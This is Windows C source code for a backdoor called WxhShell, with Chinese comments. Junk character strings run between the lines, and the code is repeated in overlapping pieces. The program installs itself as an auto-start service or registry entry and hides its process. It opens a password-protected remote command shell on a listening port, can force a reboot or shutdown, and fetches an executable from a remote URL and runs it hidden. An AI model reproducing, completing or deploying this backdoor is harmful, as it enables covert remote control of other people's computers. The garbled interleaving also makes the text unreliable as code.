4 ^J]_O_ee$ PROCNTQSIP NtQueryInformationProcess; /%F}vW(! (gQr?K static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9-`P\/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e'y$X;nIv hKjG/g:#G HANDLE hProcess; q4xP<b^ PROCESS_BASIC_INFORMATION pbi; l.iT+T [t}@>@W| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Quts~Q if(NULL == hInst ) return 0; pRez${f.(s .@`5>_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <Na .6P g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z&Kh$ $)[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y$Rh$eK g^mnYg5 if (!NtQueryInformationProcess) return 0; SJai<>k h ~!iZn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Acl?w }Y if(!hProcess) return 0; r:~q{ +U^H`\EUr if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V/dL-;W; 7.W$6U5 CloseHandle(hProcess); ahmxbv3f=5 ;i>(r;ZM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +YFA Zv7` if(hProcess==NULL) return 0; &`LR{7m 7W]0bJK+E HMODULE hMod; K @h94Ni6 char procName[255]; 2E$K='H:, unsigned long cbNeeded; bQ`|G(g-d AcQmY? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Evy_I+l UV#DN`%n CloseHandle(hProcess); IA3m.Vxj ^ jFH wu* if(strstr(procName,"services")) return 1; // 以服务启动 :={rPj-nU yLY$1#Sa return 0; // 注册表启动 t^|GcU] } G]k+0&X 3[cGSI"+ // 主模块 6Q~(ibKx int StartWxhshell(LPSTR lpCmdLine) 9lR- { +zINnX SOCKET wsl; D6vhW:t8? BOOL val=TRUE; ('oA{,#L int port=0; CYn56eRK struct sockaddr_in door; pzFM# *Kmo1>^ if(wscfg.ws_autoins) Install(); #8CeTR23cw z>A;|iL port=atoi(lpCmdLine); pp1kcrE\M +8Q5[lh2]j if(port<=0) port=wscfg.ws_port; =DsFR9IB iVZX WSADATA data; w%uM=YmuT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rl[SqmnI)@ X ApSKJ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bS&XlgnKi setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iNG =x door.sin_family = AF_INET; Rxl/)H[Lc" door.sin_addr.s_addr = inet_addr("127.0.0.1"); N@3&e;y door.sin_port = htons(port); l % 0c{E~ !vGJ7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v%4zP%4Ak[ closesocket(wsl); Gr|IM,5P4 return 1; 30<3DA_P } byN4?3F Nc\jA= if(listen(wsl,2) == INVALID_SOCKET) { ;uyQ R8 closesocket(wsl); +Cs.v.GA5 return 1; >goG\y } 9ohO-t$XkY Wxhshell(wsl); ot;
]?M WSACleanup(); SS7C|*-Zd $m[*)0/ return 0; 5-.{RU= VmP5`):?b } /ULO#CN?; $LHF=tYS // 以NT服务方式启动 7i0;Ss* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gi Max { ~M9&SDT/lB DWORD status = 0; ;
-,VJCPi DWORD specificError = 0xfffffff; }c,:uN ;wF)!d serviceStatus.dwServiceType = SERVICE_WIN32; ~=/.ZUQNX serviceStatus.dwCurrentState = SERVICE_START_PENDING; !I+F8p serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Np>0c-S serviceStatus.dwWin32ExitCode = 0; k!ac_}&NNv serviceStatus.dwServiceSpecificExitCode = 0; sUN9E4 serviceStatus.dwCheckPoint = 0; @jT=SFf serviceStatus.dwWaitHint = 0; P%y$e0 6T-iBJT hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QB6.
o6 if (hServiceStatusHandle==0) return; f,:2\b?. a{+;&j[! status = GetLastError(); NUM+tg>KM if (status!=NO_ERROR) ;s!GpO7 + { #/o1D^ serviceStatus.dwCurrentState = SERVICE_STOPPED; G&@vTcF serviceStatus.dwCheckPoint = 0; P.'$L\ serviceStatus.dwWaitHint = 0; naiy] oY" serviceStatus.dwWin32ExitCode = status; aB)G!Rm& serviceStatus.dwServiceSpecificExitCode = specificError; )@E'yHYO> SetServiceStatus(hServiceStatusHandle, &serviceStatus); TQsTL2a return; Z1sRLkR^ } l^;=0UR_ *$9Rb2}kK serviceStatus.dwCurrentState = SERVICE_RUNNING; KDu~,P] serviceStatus.dwCheckPoint = 0; *#; serviceStatus.dwWaitHint = 0; F:'>zB]-} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R:Tv'I1-L } R0bWI`$Z ^9`~-w // 处理NT服务事件,比如:启动、停止 }-%:!*bLj VOID WINAPI NTServiceHandler(DWORD fdwControl) i?IV"*Ob1N { mL3 Q switch(fdwControl) 3Nk
) { ?7Skk case SERVICE_CONTROL_STOP: ?Suv.!wfLl serviceStatus.dwWin32ExitCode = 0; E#/vgm=W; serviceStatus.dwCurrentState = SERVICE_STOPPED; I^!c1S serviceStatus.dwCheckPoint = 0; xG|n7w* serviceStatus.dwWaitHint = 0; ^k4 n { O+PRP"$g" SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?RU_SCp- } ,Laz515 return; 2hFOwI case SERVICE_CONTROL_PAUSE: C0-,<X serviceStatus.dwCurrentState = SERVICE_PAUSED; ;;<[_gp,E break; 2/RW( U case SERVICE_CONTROL_CONTINUE: !Tu4V\^~A serviceStatus.dwCurrentState = SERVICE_RUNNING; \5R>+[n! break; ^/"2s}+ case SERVICE_CONTROL_INTERROGATE: 3TF'[(K= break; KK41I8Mw }; L]QBh\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); -14~f)%NQ* } mmBZ}V+&= 0JX/@LNg0 // 标准应用程序主函数 u!9bhL` int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7^n{BsN { -A)/CFIZ qY|NA)E)Bp // 获取操作系统版本 "<1-9CMl OsIsNt=GetOsVer(); Vo(V<2lw} GetModuleFileName(NULL,ExeFile,MAX_PATH); _NB8>v
28=L9q
// 从命令行安装 >|_B=<!99W if(strpbrk(lpCmdLine,"iI")) Install(); 4 ky/a1y- Fu"@)xw/-q // 下载执行文件 ;1L7+.A if(wscfg.ws_downexe) { AS]jJc^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D}L4uz? WinExec(wscfg.ws_filenam,SW_HIDE); \!!1o+#1j }
0;:AT|U/d pb}4{]sI if(!OsIsNt) { &1M#;rE;D# // 如果时win9x,隐藏进程并且设置为注册表启动 k{ibD5B HideProc(); q-4#)EnW StartWxhshell(lpCmdLine); T8\%+3e. } #PZBh else kYU!6t1 if(StartFromService()) TTm // 以服务方式启动 D0@d}N StartServiceCtrlDispatcher(DispatchTable); ]R6Z(^XT,E else vH/Y]Am // 普通方式启动 O*-sSf StartWxhshell(lpCmdLine); ^=Egf?|[ :IX_}| return 0; cvO;xR } <G#z;]N V|G[j\]E< 6uubkt gfmaO] =========================================== b@yFqgJ_ 4!0nM|~ q.69<Rs ?&se]\ kq=tL@W`0} ff<adl- " O>sE~~g]? Ll'!aar, #include <stdio.h> \'Ewn8Qv8 #include <string.h> \X0wr%I #include <windows.h> Q2K)Nl >_ #include <winsock2.h> :j(D&?ao #include <winsvc.h> Z=CY6Zu7 #include <urlmon.h> C;.+ kE s&~.";b
#pragma comment (lib, "Ws2_32.lib") OCYC
Dn #pragma comment (lib, "urlmon.lib") ybgAyJ{J< AAld2"r #define MAX_USER 100 // 最大客户端连接数 IX
y
$ #define BUF_SOCK 200 // sock buffer qD/FxR-! #define KEY_BUFF 255 // 输入 buffer a@U0s+V&a0 v}-j ls #define REBOOT 0 // 重启 {GM8}M~D& #define SHUTDOWN 1 // 关机 SWM6+i
p ]#Q'~X W #define DEF_PORT 5000 // 监听端口 FAP1Bm hV>@qOl
' #define REG_LEN 16 // 注册表键长度 et0yS%7+?@ #define SVC_LEN 80 // NT服务名长度 z]F4Z'(e. 9G=ZB^ // 从dll定义API ky98Bz% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {;j@-=pV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _=68iDXm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L}5IX)#gH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ht@s!5\LK 'c|Y*2@ // wxhshell配置信息 H-Z1i struct WSCFG { HnmByn\j int ws_port; // 监听端口 <u85>x char ws_passstr[REG_LEN]; // 口令 kFF)6z:2 int ws_autoins; // 安装标记, 1=yes 0=no W_z?t; char ws_regname[REG_LEN]; // 注册表键名 ^7&0Pm char ws_svcname[REG_LEN]; // 服务名 yyVv@ char ws_svcdisp[SVC_LEN]; // 服务显示名 %Lwd1'C% char ws_svcdesc[SVC_LEN]; // 服务描述信息 3O!TVSo char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g&6O*vx int ws_downexe; // 下载执行标记, 1=yes 0=no 4Iou|
H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kVu-,OU char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B)`^/^7 &.t|&8- }; ;Z(~;D hSyA;*)U // default Wxhshell configuration U?:<clh struct WSCFG wscfg={DEF_PORT, IRW%*W# "xuhuanlingzhe", J((.zLvz 1, 8{Id+Q>Vo, "Wxhshell", Sk 10"D B/ "Wxhshell", Z/@%MEU[zl "WxhShell Service", (" +/ : "Wrsky Windows CmdShell Service",
C6`<SW "Please Input Your Password: ", >{]mN5 1, qg;fh]j% "http://www.wrsky.com/wxhshell.exe", _Ak?i\ "Wxhshell.exe" T c{]w?V }; =2=n MJ:>ZRXCE // 消息定义模块 :,^pL At char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q$=EUB"C char *msg_ws_prompt="\n\r? for help\n\r#>"; >@o}l:* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Aa;s.:? char *msg_ws_ext="\n\rExit."; d.3O1TXK char *msg_ws_end="\n\rQuit."; 'ehJr/0&g char *msg_ws_boot="\n\rReboot..."; ,3{z_Rax- char *msg_ws_poff="\n\rShutdown..."; `y!6(xI char *msg_ws_down="\n\rSave to "; _,2P4 Nl^{w'X0h char *msg_ws_err="\n\rErr!"; &G>EBKn\2` char *msg_ws_ok="\n\rOK!"; @#%rTKD9F p8q9:Tz char ExeFile[MAX_PATH]; y`EcBf int nUser = 0; Gv,0{DVX< HANDLE handles[MAX_USER]; fuxBoB int OsIsNt; "A_WU| >cPB:kD' SERVICE_STATUS serviceStatus; -\`n{$OR SERVICE_STATUS_HANDLE hServiceStatusHandle; 2S\~ =e)[?{H // 函数声明 +jD{O @9 int Install(void); U&mJ_f#M int Uninstall(void); %q@eCN int DownloadFile(char *sURL, SOCKET wsh); 2\z"6 int Boot(int flag); Pe !eID8 void HideProc(void); i7[CqObzc int GetOsVer(void); Q\~4J1 int Wxhshell(SOCKET wsl); [k9aY$baT^ void TalkWithClient(void *cs); $z+iB;x int CmdShell(SOCKET sock); [z:bnS~yiD int StartFromService(void); $3!j1 int StartWxhshell(LPSTR lpCmdLine); Aghcjy|j {daNw>TH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6SMGXy*]^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); e_wz8]K)n }V3p < // 数据结构和表定义 ogX'3L SERVICE_TABLE_ENTRY DispatchTable[] = 4><b3r;T' { X"W%(x`w {wscfg.ws_svcname, NTServiceMain}, 'wAOY {NULL, NULL} =$g8"[4 }; nzTzc5
w 9_rNJLj8y // 自我安装 8E /]k\ int Install(void) OH28H),} { &DFe+y~PR char svExeFile[MAX_PATH]; &
Ci UU HKEY key; Hm+-gI3* strcpy(svExeFile,ExeFile); ,XW6W&vR; R.R(|!w> // 如果是win9x系统,修改注册表设为自启动 fz
W%(.tc\ if(!OsIsNt) { ?rQMOJR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,sk;|OAI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '?5=j1 RegCloseKey(key); *0y+=,"QU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ho?+?YJ#P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9jiZtwRpk RegCloseKey(key); 2;4Of~ return 0; qeCx.Z } ]do0{I%\eq } SMQuJ_ } 56*}}B$? else { >Ge&v'~_| I<.3"F1} // 如果是NT以上系统,安装为系统服务 , {7wvXP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &{* [7Ad if (schSCManager!=0) }Xs=x6Mj { !>/U6h,_ SC_HANDLE schService = CreateService !cLX1S ( :>'^l?b'WX schSCManager, g!7/iKj: wscfg.ws_svcname, DT(A~U<y wscfg.ws_svcdisp, v|jBRKU99 SERVICE_ALL_ACCESS, E`>-+~ZUsk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {so"xoA^c SERVICE_AUTO_START, K/G|MT)
SERVICE_ERROR_NORMAL, /yIkHb^c svExeFile, m4ovppC NULL, 'oHtg
@ NULL, KEsMes(* NULL, > K,Q`sS NULL, K(Otgp+zb NULL C$)#s{* ); !l_1r$ if (schService!=0) A75IG4] { Y-n*K' CloseServiceHandle(schService); IQdiVj CloseServiceHandle(schSCManager); D<}KTyG] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oj@B'j strcat(svExeFile,wscfg.ws_svcname); 5_M9 T3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Te2XQU2,F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZSYXUFz RegCloseKey(key); c3!d4mC: return 0; g`gH]W
FcG } 6+FmYp } mN_RB{g{ CloseServiceHandle(schSCManager); 1I KDp]SN } A;w,m{9< } 'HkV_d[li X'ryfa1| return 1; c^UG}:Y } BG~h9.c 9<P1?Q // 自我卸载 !3 $Ph int Uninstall(void) k5=0L_xc { +WK!}xZR HKEY key; NXDdU^w7B SwG:?T!"} if(!OsIsNt) { (2QFwBW] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { //>f#8Ho RegDeleteValue(key,wscfg.ws_regname); +K;(H']Z<- RegCloseKey(key); v%=G~kF}[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .!,T>:R RegDeleteValue(key,wscfg.ws_regname); e0+N1kY RegCloseKey(key); {?l#*XH; return 0; n'1pNL: } @1gX>! } U9IN# ;W } Cz
Jze else { me$7\B;wy :^1 Xfc" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jUZ84Gm{ if (schSCManager!=0) P$N\o @
{ RXb+"/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %IW=[D6Tg if (schService!=0) &voyEvX/S { {*`qL0u]^ if(DeleteService(schService)!=0) { 3uz@JY"mK CloseServiceHandle(schService); !V$m!i; CloseServiceHandle(schSCManager); 3rTYe6q$U return 0; -2w\8]u } 4rc4}Yu,JI CloseServiceHandle(schService); Obrv5%'
} Q~#udEajI CloseServiceHandle(schSCManager);
5pI2G } `3SY~&X } W7S`+Pq 7P?z{x':T return 1; 0tC+? } #)tt}GX 7*M+bZ`x // 从指定url下载文件 Aj;Z
& int DownloadFile(char *sURL, SOCKET wsh) .4^Ep\\ { zdzTJiY2[Z HRESULT hr; a"0Xam char seps[]= "/"; S
j)&! char *token; 0j7W\'!t char *file; ~M3`mO+^U char myURL[MAX_PATH]; p./zW
)7+ char myFILE[MAX_PATH]; x/#*M >pbO\=j]X strcpy(myURL,sURL); LS+ _y<v= token=strtok(myURL,seps); "e0$/WQ6J while(token!=NULL) OySIp[{tJ { QnME|j\ file=token; /=*h\8c~ token=strtok(NULL,seps); e]'ui<` } 6x^#|;e>lI [DC8X P5< GetCurrentDirectory(MAX_PATH,myFILE); ?V4?r2$c strcat(myFILE, "\\"); (q59cA w~X strcat(myFILE, file); f6j;Y<}' g send(wsh,myFILE,strlen(myFILE),0); 93$'PwWgiF send(wsh,"...",3,0); 1\=)b< y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C,P>7 if(hr==S_OK) Pb]: i+c) return 0; %# ?)+8"l else ?]]>WP return 1; Fc M IC{\iwO/~c } U}~SY z8G1[ElY // 系统电源模块 NGOc:>}k> int Boot(int flag) b
lP@Cn2 { |,cQJ HANDLE hToken; Fo=Icvo TOKEN_PRIVILEGES tkp; +)h *) s3>,%8O6 if(OsIsNt) { ]+<[D2f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J cL4q\g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :3pJGMv( tkp.PrivilegeCount = 1;
V##=-KZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {Iy<iV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xeF0^p7Z if(flag==REBOOT) { c
Owa^; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RSC^R}a5 return 0; NGcd } SU~t7Ta!G else { P$ZIKkf if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !K-lO{Z^ return 0; wmAZ { }
$A]2Iw!& } 18f!k else { :W6`{Z if(flag==REBOOT) { 5ltEnvN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dQT A^m return 0; {}kE=L5 } tPB r{ else { 2#1"(m{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ri=:=oF( return 0; 8yij=T* } @/FE!6 |O } HX%lL}E F7P?*!dx return 1; KX D&FDkF } M3P\1 yB0xa% // win9x进程隐藏模块 3tzb@T void HideProc(void) .sI*\@w. { VPW@y 7DZxrVw HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .<7M4Z if ( hKernel != NULL ) @SeInew;`l { oS6dcJHf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UKX9C"-5v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nX~Qt% FreeLibrary(hKernel); ntR@[)K } kZ7\zbN> $;7,T~{ return; w=Ai?u } 4efIw<1_ $/*19e~ // 获取操作系统版本 HYU-F_|N=
int GetOsVer(void) uq?(( { }p,#rOX:A OSVERSIONINFO winfo; (K9pr>le winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \ OPJ*/U GetVersionEx(&winfo); x-27rGN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &O8vI,M return 1; riw0w else 7q\& return 0; RP[^1 } 2E5n07, +g %h,@ // 客户端句柄模块 $d0xJxM int Wxhshell(SOCKET wsl) WXHvUiFf { LX f r SOCKET wsh; U}f"a! struct sockaddr_in client; DBTeV-G9~R DWORD myID; OM,Dy&Y h0**[LDH while(nUser<MAX_USER) *rKj%Me { <"/b 5kc int nSize=sizeof(client); QguRU|y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7`eg;s^ if(wsh==INVALID_SOCKET) return 1; (<GBhNj=c S
$j"'K handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0\tV@ 6p2= if(handles[nUser]==0) %!P^se closesocket(wsh); D+4oV6}~ else Yr!@p Hy nUser++; )R
%>g-dw } 10tlD<eYb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7x>\/l( #/N;ScyUJT return 0; t =LIkwD } !s^[|2D_U &<nj~BL // 关闭 socket -Cn x!g} void CloseIt(SOCKET wsh) C2e.RTxc
{ ZG(. Q:1 closesocket(wsh); <TN+-)H6 nUser--; *2,tGZ ExitThread(0); 3R|UbG` } n[[2<s*YJ Y @(izC&h // 客户端请求句柄 GZxPh&BM? void TalkWithClient(void *cs) GN1Q\8)o { %Z~0vwY &VPfI SOCKET wsh=(SOCKET)cs; B`<a~V char pwd[SVC_LEN]; ]mzghH:E char cmd[KEY_BUFF]; Mo'6<"x char chr[1]; M{GT$Q int i,j; ]g] ]\hS }BYs.$7 while (nUser < MAX_USER) { . E8Gj'yO DXF>#2E^+ if(wscfg.ws_passstr) { My6a.Kl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .gQYN2#zb //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aU\R!Y$/" //ZeroMemory(pwd,KEY_BUFF); f]sc[_n] i=0; \wR;N/tg while(i<SVC_LEN) { '@6O3z_{ S =5br // 设置超时 } "QL"% fd_set FdRead; Wf!u?nH.5 struct timeval TimeOut; $y$E1A6h+ FD_ZERO(&FdRead); Z Jgy!)1n FD_SET(wsh,&FdRead); '_q&~M{ TimeOut.tv_sec=8; tUGnp'r TimeOut.tv_usec=0; !8Y$} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V$Zl]f$S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kcu*Z F+<e9[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sgLw,WZ: pwd=chr[0]; +b
sc3 if(chr[0]==0xd || chr[0]==0xa) { S1I# qb pwd=0; GI5#{-) break; R$m?aIN } |S6L[Uo i++; A u10]b } <D`VFSEJ a&z$4!wQB // 如果是非法用户,关闭 socket .;J6)h if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vu@@!cT6e } [,yYr @1vpkB~ w send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )+ (GE send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gmUX
2x( vqhu%ZyP while(1) { _uL8TC^ ^ *1hz< ZeroMemory(cmd,KEY_BUFF); 0/5{v6_rG d_1uv_P // 自动支持客户端 telnet标准 GIM'H;XG j=0; #O1%k;BL while(j<KEY_BUFF) { mS?W+jy% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9,jFQb(), cmd[j]=chr[0]; G2
0 if(chr[0]==0xa || chr[0]==0xd) { ]?*'[ cmd[j]=0; wh2Ljskda8 break; b"JX6efnN } h+DK
.$ j++; c#zx" ,K } QTIC5cl, !d
Z:Ih.[{ // 下载文件 [R0E4A?M if(strstr(cmd,"http://")) { <4:%M send(wsh,msg_ws_down,strlen(msg_ws_down),0); q[TGEgG if(DownloadFile(cmd,wsh)) D KRF#*[=d send(wsh,msg_ws_err,strlen(msg_ws_err),0); (zml704dI) else AA XQ+! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WRqpQEY } "Z]z9( else { |hD)=sCj g[L}puN switch(cmd[0]) { P$v9 y=&^=Zh[ // 帮助 LI9
Uc\ case '?': { @(CJT-Ak send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E$C0\O!7 break; m% %\k
\ } VmON}bb[zz // 安装 MlV3qM@ case 'i': { B=)tq.Q7 if(Install()) ih=O#f| send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3H`r|R else gxc8O).5vY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "ph[)/u; break; )v+\1 } UT%?3}*u" // 卸载 .#{m1mr case 'r': { xM:9XhH1 if(Uninstall()) O ]!/fZ;( send(wsh,msg_ws_err,strlen(msg_ws_err),0); :yFmCLZaQ else l.uW>AoLh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5ajd$t break; tHmV4 H$ } "R0(!3 // 显示 wxhshell 所在路径 x"~gulcz case 'p': { *?~&O.R" char svExeFile[MAX_PATH]; ]--"
K{ strcpy(svExeFile,"\n\r"); TFO4jjiC" strcat(svExeFile,ExeFile); !i8'gq'q send(wsh,svExeFile,strlen(svExeFile),0); <O3,b:vw break; WesEZ\V } AGV+Y6 // 重启 BnU3oP case 'b': { Qe;R3D=T; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .R_-$/ZP if(Boot(REBOOT)) cH`ziZ<&m1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -eFq^KP2 else { IoCi(N; closesocket(wsh); ;<H\{w@D ExitThread(0); RA*W Ys&xb } ei!Yxw8d break; !h70 <Q^ } ozkmZ; // 关机 |3C5"R3ZGO case 'd': { W3A9uk6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &Fh#o t H_ if(Boot(SHUTDOWN)) >JHQA1mX send(wsh,msg_ws_err,strlen(msg_ws_err),0); )\+1*R|H} else { "H|hN closesocket(wsh); lNx:_g:SrZ ExitThread(0); *n_7~ZX } J0UF( break; O^r,H,3S } j[|mC;y. // 获取shell ~m&q@ms& case 's': { /-Y.A<ieN8 CmdShell(wsh); g]9A?#GyE closesocket(wsh); /3o@I5 ExitThread(0); aA=7x&z@ break; Gg3<
}( } J_d!` Hhe // 退出 8B;HMD case 'x': { )|B3TjHC send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kqZ+e/o>O9 CloseIt(wsh); ~IQw?a.E break; ZDr&Alp)o } K9c5HuGy // 离开 bj_oA
i case 'q': { .-}F~FES send(wsh,msg_ws_end,strlen(msg_ws_end),0); lj 2OOU{ closesocket(wsh); Z`x*Igf8 WSACleanup(); ,IRy.
qy exit(1); )26_7.| break; kz^?!l)X0 } 6XI$ o,{ } C/YjMYwKgv } kmM->v C n.x:I@r // 提示信息 :ywm 4) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kZNVUhW6S } x%%OgO+> } ^gY3))2_ u%AyW return; b2XUZ5 } ,2]a<0m Qn`Fq,uvL // shell模块句柄 Yl"l|2
: int CmdShell(SOCKET sock) cc:,,T/i { wg=-&- STARTUPINFO si; b|nh4g ZeroMemory(&si,sizeof(si)); Mcqym8,q|3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :NXM.@jJ=" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,_I#+XiXY PROCESS_INFORMATION ProcessInfo; 1Ts$kdO char cmdline[]="cmd"; \kG;T=H CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?K=
X[ return 0; %Mr^~7nN } !@9G9<NK ,Kwtp)EX // 自身启动模式 15CKcM6 int StartFromService(void) ,L$,d { o|nN0z)b4 typedef struct 9_lWB6 { QN^AihsPi DWORD ExitStatus; fl o9iifZ DWORD PebBaseAddress; O9R[F DWORD AffinityMask; 9;tY'32/ DWORD BasePriority; {vU;(eN ULONG UniqueProcessId; 0 ![ ULONG InheritedFromUniqueProcessId; 0%"sOth } PROCESS_BASIC_INFORMATION; Q3 yW#eD #L9F\ <K PROCNTQSIP NtQueryInformationProcess; ,g:\8*Y>' 8"C[sRhz static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #pr{tL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y\zRv(T= wMU}EoGS? HANDLE hProcess; =k:yBswi PROCESS_BASIC_INFORMATION pbi; lFbf9s:$B Jq_AR!} % HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FwqaWEk if(NULL == hInst ) return 0; <L+y
6B IRIYj(J g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EJ=ud9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l1eF&wNC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S94S[j0D
